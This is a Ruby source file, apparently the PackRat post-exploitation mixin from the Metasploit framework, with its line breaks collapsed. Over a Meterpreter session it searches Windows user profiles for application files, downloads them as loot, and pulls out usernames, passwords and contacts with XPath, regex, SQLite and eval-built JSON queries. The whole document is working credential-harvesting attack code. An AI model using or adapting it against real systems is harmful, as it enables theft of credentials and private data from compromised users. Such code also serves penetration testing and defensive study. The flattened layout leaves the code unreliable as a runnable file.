# -*- coding: binary -*- # # A mixin used for providing Modules with post-exploitation options and helper methods # PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems. # PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries. # This is a mixin that will be included in each separated module. Further details can be found in the module documentation. # require 'sqlite3' module Msf class Post module Windows module Packrat include Msf::Post::File include Msf::Post::Windows::UserProfiles def initialize(info = {}) super( update_info( info, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_close core_channel_eof core_channel_open core_channel_read stdapi_fs_search stdapi_fs_separator stdapi_fs_stat ] } } ) ) end # Check to see if the application base folder exists on the remote system. def parent_folder_available?(path, dir, _application) parent_folder = dir.split('\\').first dirs = session.fs.dir.foreach(path).collect return dirs.include? parent_folder end def artifact_folder_available?(path, dir, _application, _artifact_child) parent_folder_path = "#{path}#{session.fs.file.separator}#{dir}" return directory?(parent_folder_path) end def find_files(userprofile, application, artifact, path, dir) file_directory = "#{path}\\#{dir}" files = session.fs.file.search(file_directory, artifact.to_s, true) # Checks if the file was found in the application's bas file if files.empty? vprint_error("#{application.capitalize}'s #{artifact.capitalize} not found in #{userprofile['UserName']}'s user directory\n") else print_status("#{application.capitalize}'s #{artifact.capitalize} file found") end return files end def extract_xml(saving_path, artifact_child, artifact, local_loc) xml_file = Nokogiri::XML(::File.read(saving_path.to_s)) credential_array = [] xml_credential = '' artifact_child[:xml_search].each do |xml_split| xml_split[:xml].each do |xml_string| xml_file.xpath(xml_string.to_s).each do |xml_match| vprint_status(xml_split[:extraction_description].to_s) print_good xml_match.to_s credential_array << xml_match.to_s end end end credential_array.each do |xml_write| file_save = xml_write.chomp + "\n" xml_credential << file_save.to_s end xml_loot = store_loot("EXTRACTIONS#{artifact}", '', session, xml_credential.to_s, local_loc) print_good "File with data saved: #{xml_loot}" rescue StandardError => e print_status e.to_s end def extract_regex(saving_path, artifact_child, artifact, local_loc) file_string = '' ::File.open(saving_path.to_s, 'rb').each do |file_content| file_string << file_content.to_s end credential_array = [] cred_save = '' user_regex = datastore['REGEX'] regex_string = user_regex.to_s artifact_child[:regex_search].each do |reg_child| reg_child[:regex].map { |r| Regexp.new(r) }.each do |regex_to_match| next unless file_string =~ regex_to_match file_string.scan(regex_to_match).each do |found_credential| file_strip = found_credential.gsub(/\s+/, '').to_s vprint_status(reg_child[:extraction_description].to_s) print_good file_strip credential_array << file_strip end end end if file_string =~ user_regex file_string.scan(user_regex).each do |user_match| user_strip = user_match.gsub(/\s+/, '').to_s vprint_status "Searching for #{regex_string}" print_good user_strip.to_s credential_array << user_strip end end credential_array.each do |file_write| file_save = file_write.chomp + "\n" cred_save << file_save.to_s end regex_loot = store_loot("EXTRACTION#{artifact}", '', session, cred_save.to_s, local_loc) print_good "File with data saved: #{regex_loot}" rescue StandardError => e print_status e.to_s end def extract_sqlite(saving_path, artifact_child, artifact, local_loc) database_string = '' database_file = ::SQLite3::Database.open(saving_path.to_s) artifact_child[:sql_search].each do |sql_child| db = database_file.prepare "SELECT #{sql_child[:sql_column]} FROM #{sql_child[:sql_table]}" db_command = db.execute db_command.each do |database_row| join_info = database_row.join "\s" line_split = join_info.chomp + "\n" database_string << line_split.to_s end end sql_loot = store_loot("EXTRACTIONS#{artifact}", '', session, database_string.to_s, local_loc) print_good "File with data saved: #{sql_loot}" rescue StandardError => e print_status e.to_s end # rubocop:disable Lint/UselessAssignment # rubocop:disable Lint/UnusedBlockArgument # rubocop:disable Style/Eval def extract_json(saving_path, artifact_child, artifact, local_loc) json_file = ::File.read(saving_path.to_s) json_parse = JSON.parse(json_file) parent_json_query = '' child_json_query = [] json_credential_save = [] json_cred = '' artifact_child[:json_search].each do |json_split| parent_json_query << json_split[:json_parent] json_split[:json_children].each do |json_child| child_json_query << json_child.to_s end end child_json_query.each do |split| children = eval("json_parse#{parent_json_query}") children.each do |child_node| child = eval("child_node#{split}").to_s json_credential_save << "#{split}: #{child}" end end json_credential_save.each do |json_save| file_save = json_save.chomp + "\n" print_good file_save.to_s json_cred << file_save.to_s end json_loot = store_loot("EXTRACTIONS#{artifact}", '', session, json_cred.to_s, local_loc) print_good "File with data saved: #{json_loot}" rescue StandardError => e print_status e.to_s end # rubocop:enable Lint/UselessAssignment # rubocop:enable Lint/UnusedBlockArgument # rubocop:enable Style/Eval # Download file from the remote system, if it exists. def packrat_download_file(saving_path, file_to_download, file, application) print_status("Downloading #{file_to_download}") session.fs.file.download_file(saving_path, file_to_download) print_status("#{application.capitalize} #{file['name'].capitalize} downloaded") print_good("File saved to: #{saving_path}\n") end def run_packrat(userprofile, opts = {}) vprint_status 'Starting Packrat...' artifact_parent = opts[:gatherable_artifacts] application = opts[:application] artifact_parent.each do |artifact_child| file_type = artifact_child[:filetypes] artifact = artifact_child[:artifact_file_name] dir = artifact_child[:dir] path = userprofile[artifact_child[:path]] credential_type = artifact_child[:credential_type] # Checks if the current artifact matches the search criteria if (file_type != datastore['ARTIFACTS'] && datastore['ARTIFACTS'] != 'All') # Doesn't match search criteria, skip this artifact vprint_status "Skipping #{file_type} due to unmatched artifact type" next end # Check if the applications's base folder exists in user's directory on the remote computer. if parent_folder_available?(path, dir, application) vprint_status("#{application.capitalize}'s base folder found") else vprint_error("#{application.capitalize}'s base folder not found in #{userprofile['UserName']}'s user directory\n") # skip non-existing file next end # Check the availability of the folder containing the artifact of interest. if artifact_folder_available?(path, dir, application, artifact_child) vprint_status("Found the folder containing specified artifact for #{artifact}.") else vprint_error("Could not find the folder for the specified artifact #{artifact} at #{dir}.\n") # skip non-existing file next end # Get the files that matches the pre-defined artifact name found_files = find_files(userprofile, application, artifact, path, dir) # Checks if the user have disabled STORE_LOOT option or if no file was found. Go to next in such case if found_files.empty? vprint_error "Skipping #{artifact} since it was not found on the user's folder." next elsif !datastore['STORE_LOOT'] print_good 'File was found but STORE_LOOT option is disabled. File was not saved' next end # Download each files found found_files.each do |file| vprint_status "Processing #{file['path']}" file_split = file['path'].split('\\') local_loc = "#{file_split.last}#{file['name']}" saving_path = store_loot("#{application}#{file['name']}", '', session, file['name'], local_loc) file_to_download = "#{file['path']}#{session.fs.file.separator}#{file['name']}" # Download file packrat_download_file(saving_path, file_to_download, file, application) if datastore['EXTRACT_DATA'] case credential_type when 'xml' extract_xml(saving_path, artifact_child, artifact, local_loc) when 'json' extract_json(saving_path, artifact_child, artifact, local_loc) when 'text' extract_regex(saving_path, artifact_child, artifact, local_loc) when 'sqlite' extract_sqlite(saving_path, artifact_child, artifact, local_loc) else vprint_error 'This artifact does not support any extraction type' end else vprint_status 'Data are not extracted' end end end end end end end end